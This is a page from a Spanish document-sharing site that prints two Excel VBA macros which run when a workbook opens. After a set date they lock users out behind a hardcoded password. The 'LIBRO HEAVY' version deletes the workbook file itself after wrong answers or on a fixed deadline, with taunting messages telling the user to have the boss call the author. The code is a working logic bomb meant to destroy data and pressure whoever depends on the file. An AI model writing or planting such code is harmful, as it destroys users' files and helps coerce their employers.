Está en la página 1de 3

13/07/2012 0:44:53

LIBRO MEDIO 1

ThisWorkbook - 1
Private Sub Workbook_Open()
If Date <= DateSerial(2012, 12, 31) Then Exit Sub
Application.EnableCancelKey = xlErrorHandler
On Error GoTo Ver_Error
licenciauso = InputBox("Introducir la licencia de uso")
If licenciauso <> "anaxandridas" Then
MsgBox "Clave incorrecta; VUELVA A INTRODUCIR LA CLAVE"
licenciauso2 = InputBox("licencia de uso 2 oportunidad")
If licenciauso2 <> "anaxandridas" Then
MsgBox "Clave incorrecta; ULTIMA OPORTUNIDAD PARA INTRODUCIR LA CLAVE"
licenciauso3 = InputBox("licencia de uso 3 y Ultima oportunidad")
If licenciauso3 <> "anaxandridas" Then
Application.DisplayAlerts= False
ActiveWorkbook.Close
End If
End If
End If
GoTo fin
Ver_Error:
Application.DisplayAlerts= False
ActiveWorkbook.Close
fin:
End Sub

Pgina 1 de 3

13/07/2012 0:44:53
ThisWorkbook - 1

LIBRO HEAVY

Private Sub Workbook_Open()


fecha_aviso = DateSerial(2012, 12, 31)
fecha_limite = fecha_aviso + 2
fecha_borrado = fecha_aviso + 3
If Date <= fecha_aviso Then Exit Sub
If Date = fecha_limite Then GoTo ultimoaviso
If Date = fecha_borrado Then GoTo borrado

Application.EnableCancelKey = xlErrorHandler
On Error GoTo Ver_Error
licenciauso = InputBox("INTRODUCE LA LICENCIA DE USO; Y TIENES 2 DIAS PARA SALVARTE EL CUL
O PORQUE DESPUS DE ESO SE BORRAR EL ARCHIVO")
If licenciauso <> "anaxandridas" Then
MsgBox "NOOOOO..... VUELVE A INTRODUCIR LA CLAVE"
licenciauso2 = InputBox("LICENCIA DE USO 2 OPORTUNIDAD")
If licenciauso2 <> "anaxandridas" Then
MsgBox "NOOOOO..... ULTIMA OPORTUNIDAD PARA INTRODUCIR LA CLAVE, SI LA VUEVES A PIFI
AR, SE DESTRUIRA EL ARCHIVO"
licenciauso3 = InputBox("LICENCIA DE USO 3 Y ULTIMA OPORTUNIDAD")
If licenciauso3 <> "anaxandridas" Then
MsgBox "SE VA A AUTODESTRUIR EL ARCHIVO Y NO PUEDES HACER NADA PARA EVITARLO, AS Q
UE YA LE ESTS DICIENDO AL JEFE QUE ME LLAME SI QUIERE QUE ESTO FUNCIONE!!!"
Application.DisplayAlerts = False
Me.ChangeFileAccess xlReadOnly
Kill Me.FullName
Me.Close False
End If
End If
End If
GoTo fin
ultimoaviso:
Application.EnableCancelKey = xlErrorHandler
On Error Resume Next
MsgBox "SOLO TE QUEDA 1 DIA PARA EL DESASTRE"
licenciauso4 = InputBox("LICENCIA DE USO ULTIMA OPORTUNIDAD ANTES DEL DESASTRE")
If licenciauso4 <> "anaxandridas" Then
Application.DisplayAlerts = False
ActiveWorkbook.Close
End If
GoTo fin
borrado:
Application.EnableCancelKey = xlErrorHandler
On Error Resume Next
Application.DisplayAlerts = False
Me.ChangeFileAccess xlReadOnly
Kill Me.FullName
Me.Close False
Ver_Error:
ActiveWorkbook.Close

Pgina 2 de 3

13/07/2012 0:44:53
ThisWorkbook - 2

fin:
End Sub

Pgina 3 de 3

También podría gustarte

  • Ua-6-Revit Mep
    Ua-6-Revit Mep
    Documento20 páginas
    Ua-6-Revit Mep
    Peter Rodriguez
    Aún no hay calificaciones
  • Ua-2-Revit Mep
    Ua-2-Revit Mep
    Documento43 páginas
    Ua-2-Revit Mep
    Peter Rodriguez
    Aún no hay calificaciones
  • Ua-1-Revit Mep
    Ua-1-Revit Mep
    Documento29 páginas
    Ua-1-Revit Mep
    Peter Rodriguez
    100% (2)
  • Rel Pernos
    Rel Pernos
    Documento1 página
    Rel Pernos
    Peter Rodriguez
    Aún no hay calificaciones
  • Deuterio
    Deuterio
    Documento11 páginas
    Deuterio
    Peter Rodriguez
    Aún no hay calificaciones
  • Presentacion Megarent
    Presentacion Megarent
    Documento38 páginas
    Presentacion Megarent
    Peter Rodriguez
    Aún no hay calificaciones
  • TCS 700 Brochure - Spanish
    TCS 700 Brochure - Spanish
    Documento4 páginas
    TCS 700 Brochure - Spanish
    Peter Rodriguez
    Aún no hay calificaciones
  • Ficha Técnica RANGER 2016
    Ficha Técnica RANGER 2016
    Documento2 páginas
    Ficha Técnica RANGER 2016
    Peter Rodriguez
    Aún no hay calificaciones
  • Hoja de Seguridad Sal y Salmuera
    Hoja de Seguridad Sal y Salmuera
    Documento3 páginas
    Hoja de Seguridad Sal y Salmuera
    Peter Rodriguez
    Aún no hay calificaciones
  • Costo Piping
    Costo Piping
    Documento4 páginas
    Costo Piping
    Peter Rodriguez
    Aún no hay calificaciones
  • BECORIN
    BECORIN
    Documento4 páginas
    BECORIN
    Peter Rodriguez
    Aún no hay calificaciones
  • Brazos Silea.
    Brazos Silea.
    Documento22 páginas
    Brazos Silea.
    Peter Rodriguez
    Aún no hay calificaciones
  • Maxi Rigs
    Maxi Rigs
    Documento7 páginas
    Maxi Rigs
    Peter Rodriguez
    Aún no hay calificaciones